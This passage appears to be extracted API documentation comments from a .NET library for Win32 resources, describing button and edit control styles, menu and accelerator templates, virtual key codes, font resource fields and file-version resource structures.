button text to multiple lines if the text string is too long to fit on a single line in the button rectangle. Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its parent window. Specifies that the button is two-dimensional; it does not use the default shading to create a 3-D image. Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button is in a dialog box, the user can select the split button by pressing the ENTER key, even when the split button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing to the button text. A caption for the button text can be set by sending the BCM_SETNOTE message to the button. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the command link button by pressing the ENTER key, even when the command link button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Edit control styles. http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx Aligns text with the left margin. Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control. Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control. Designates a multiline edit control. The default is single-line edit control. Converts all characters to uppercase as they are typed into the edit control. Converts all characters to lowercase as they are typed into the edit control. Displays an asterisk (*) for each character typed into the edit control. This style is valid only for single-line edit controls. Automatically scrolls text up one page when the user presses the ENTER key on the last line. Automatically scrolls text to the right by 10 characters when the user types a character at the end of the line. When the user presses the ENTER key, the control scrolls all text back to position zero. Negates the default behavior for an edit control. Converts text entered in the edit control. Prevents the user from typing or editing text in the edit control. Specifies that a carriage return be inserted when the user presses the ENTER key while entering text into a multiline edit control in a dialog box. If you do not specify this style, pressing the ENTER key has the same effect as pressing the dialog box's default push button. This style has no effect on a single-line edit control. Allows only digits to be entered into the edit control. Defines the header for a menu template. A complete menu template consists of a header and one or more menu item lists. Specifies the version number. This member must be zero. Specifies the offset, in bytes, from the end of the header. The menu item list begins at this offset. Usually, this member is zero, and the menu item list follows immediately after the header. Defines a menu item in a menu template. Specifies one or more of the following predefined menu options that control the appearance of the menu item. TODO Defines the header for an extended menu template. Template version number. This member must be 1 for extended menu templates. Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of this structure member. If the first item definition immediately follows the dwHelpId member, this member should be 4. Drop-down menu or submenu item. Menu item type. This member can be a combination of the type (beginning with MFT) values listed with the MENUITEMINFO structure. Menu item state. This member can be a combination of the state (beginning with MFS) values listed with the MENUITEMINFO structure. Menu item identifier. This is an application-defined value that identifies the menu item. Value specifying whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. Specifies one or more of the following predefined menu options that control the appearance of the menu item. Indicates that the menu item is initially inactive and drawn with a gray effect. Indicates that the menu item has a check mark next to it. Indicates that the owner window of the menu is responsible for drawing all visual aspects of the menu item, including highlighted, selected, and inactive states. This option is not valid for an item in a menu bar. Indicates that the item is one that opens a drop-down menu or submenu. Indicates that the menu item is placed in a new column. The old and new columns are separated by a bar. Indicates that the menu item is placed in a new column. Indicates that the menu item has a vertical separator to its left. Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more of these values. Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu. Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu items in the corresponding drop-down menu or submenu. Defines an accelerator key used in an accelerator table. http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx Accelerator flags. Accelerator key. This member can be either a virtual-key code or an ASCII character code. Accelerator identifier. Flags, fVirt field of the Accelerator table structure. Virtual key. Specifies that no top-level menu item is highlighted when the accelerator is used. This is useful when defining accelerators for actions such as scrolling that do not correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be highlighted (if possible) when the accelerator is used. Causes the accelerator to be activated only if the SHIFT key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the CONTROL key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the ALT key is down. Applies only to virtual keys. Virtual key definitions. Standard virtual left mouse button. Standard virtual right mouse button. Ctrl-Break / Ctrl-C. Standard virtual middle mouse button. Backspace. Tab. Delete. Return. Shift. Control. Menu. Pause. Caps lock. Escape. Space. End. Home. Left arrow. Up arrow. Right arrow. Down arrow. Print Screen. Insert. Delete. NEC PC-9800 keyboard '=' key on numpad. Fujitsu/OASYS keyboard 'Dictionary' key. Fujitsu/OASYS keyboard 'Unregister word' key. Fujitsu/OASYS keyboard 'Register word' key. Fujitsu/OASYS keyboard 'Left OYAYUBI' key. Fujitsu/OASYS keyboard 'Right OYAYUBI' key. ';:' for US '+' any country ',' any country '-' any country '.' any country '/?' for US '`~' for US '[{' for US '\|' for US ']}' for US ''"' for US 'AX' key on Japanese AX kbd "<>" or "\|" on RT 102-key kbd. Help key on ICO 00 key on ICO Contains information about an individual font in a font resource group. Specifies a user-defined version number for the resource data that tools can use to read and write resource files. Specifies the size of the file, in bytes. Contains a 60-character string with the font supplier's copyright information. Specifies the type of font file. Specifies the point size at which this character set looks best. Specifies the vertical resolution, in dots per inch, at which this character set was digitized. Specifies the horizontal resolution, in dots per inch, at which this character set was digitized. Specifies the distance from the top of a character definition cell to the baseline of the typographical font. Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and other diacritical characters can occur in this area. Specifies the amount of extra leading that the application adds between rows. Specifies an italic font if not equal to zero. Specifies an underlined font if not equal to zero. Specifies a strikeout font if not equal to zero. Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and 700 is bold. If this value is zero, a default weight is used. Specifies the character set of the font. Specifies the width of the grid on which a vector font was digitized. For raster fonts, if the member is not equal to zero, it represents the width for all the characters in the bitmap. If the member is equal to zero, the font has variable-width characters. Specifies the height of the character bitmap for raster fonts or the height of the grid on which a vector font was digitized. Specifies the pitch and the family of the font. Specifies the average width of characters in the font (generally defined as the width of the letter x). This value does not include the overhang required for bold or italic characters. Specifies the width of the widest character in the font. Specifies the first character code defined in the font. Specifies the last character code defined in the font. Specifies the character to substitute for characters not in the font. Specifies the character that will be used to define word breaks for text justification. Specifies the number of bytes in each row of the bitmap. This value is always even so that the rows start on word boundaries. For vector fonts, this member has no meaning. Specifies the offset in the file to a null-terminated string that specifies a device name. For a generic font, this value is zero. Specifies the offset in the file to a null-terminated string that names the typeface. This member is reserved. This structure depicts the organization of data in a file-version resource. It contains version information not dependent on a particular language and code page combination. http://msdn.microsoft.com/en-us/library/aa909193.aspx A hardware independent dictionary of language and code page identifier tables. A new hardware independent dictionary of language and code page identifier tables. An existing hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Read a hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Pointer to the end of data. Write the hardware independent dictionary of language and code page identifier tables to a binary stream. Binary stream. The default language and code page identifier table. Returns a language and code page identifier table. Language ID. A language and code page identifier table. String representation of VarFileInfo. Indent. String in the VarFileInfo format. This structure depicts the organization of data in a file-version resource. It typically contains a list of language and code page identifier pairs that the version of the application or DLL supports. http://msdn.microsoft.com/en-us/library/bb202818.aspx A dictionary of language and code page identifier pairs. A new table of language and code page identifier pairs. A new table of language and code page identifier pairs. Table key. An existing table of language and code page identifier pairs. Pointer to the beginning of the data. Read a table of language and code page identifier pairs. Pointer to the beginning of the data. Write the table of language and code page identifier pairs to a binary stream. Binary stream. Last unpadded position. Returns a code page identifier for a given language. Language ID. Code page identifier. String representation of the var table. Indent. String representation of the var table. VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx The resource header. A dictionary of resource tables. An existing version resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new language-netural version resource. Read a version resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. String representation of the file version. Gets or sets a bitmask that specifies the Boolean attributes of the file. String representation of the protect version. Write this version resource to a binary stream. Binary stream. Returns an entry within this resource table. Entry key. A resource table. Returns an entry within this resource table. Entry index. A resource table. Return string representation of the version resource. winver.h, version management functions, types and definitions VS_VERSION signature. VS_VERSION structure version. VS_VERSION file flags mask. VS_VERSION file flags. The file contains debugging information. The file is a prerelease development version, not a final commercial release. PThe file has been modified somehow and is not identical to the original file that shipped with the product. The file was not built using standard release procedures. There should be data in the file's "PrivateBuild" version information string. The version information in this structure was not found inside the file, but instead was created when needed based on the best information available. Therefore, this structure's information may differ slightly from what the "real" values are. The file was built using standard release procedures, but is somehow different from the normal file having the same version number. There should be data in the file's "SpecialBuild" version information string. VS_VERSION file OSs. The operating system under which the file was designed to run could not be determined. The file was designed to run under MS-DOS. The file was designed to run under a 16-bit version of OS/2. The file was designed to run under a 32-bit version of OS/2. The file was designed to run under Windows NT/2000. The file was designed to run under the 16-bit Windows API. The file was designed to be run under a 16-bit version of Presentation Manager. The file was designed to be run under a 32-bit version of Presentation Manager. The file was designed to run under the 32-bit Windows API. VS_VERSION file types. The type of file could not be determined. The file is an application. The file is a Dynamic Link Library (DLL). The file is a device driver. dwFileSubtype contains more information. The file is a font. dwFileSubtype contains more information. The file is a virtual device. The file is a static link library. File sub-type. The type of driver could not be determined. The file is a printer driver. The file is a keyboard driver. The file is a language driver. The file is a display driver. The file is a mouse driver. The file is a network driver. The file is a system driver. The file is an installable driver. The file is a sound driver. The file is a communications driver. The file is an input method driver. The file is a versioned printer driver. The file is a raster font. The file is a vector font. The file is a TrueType font.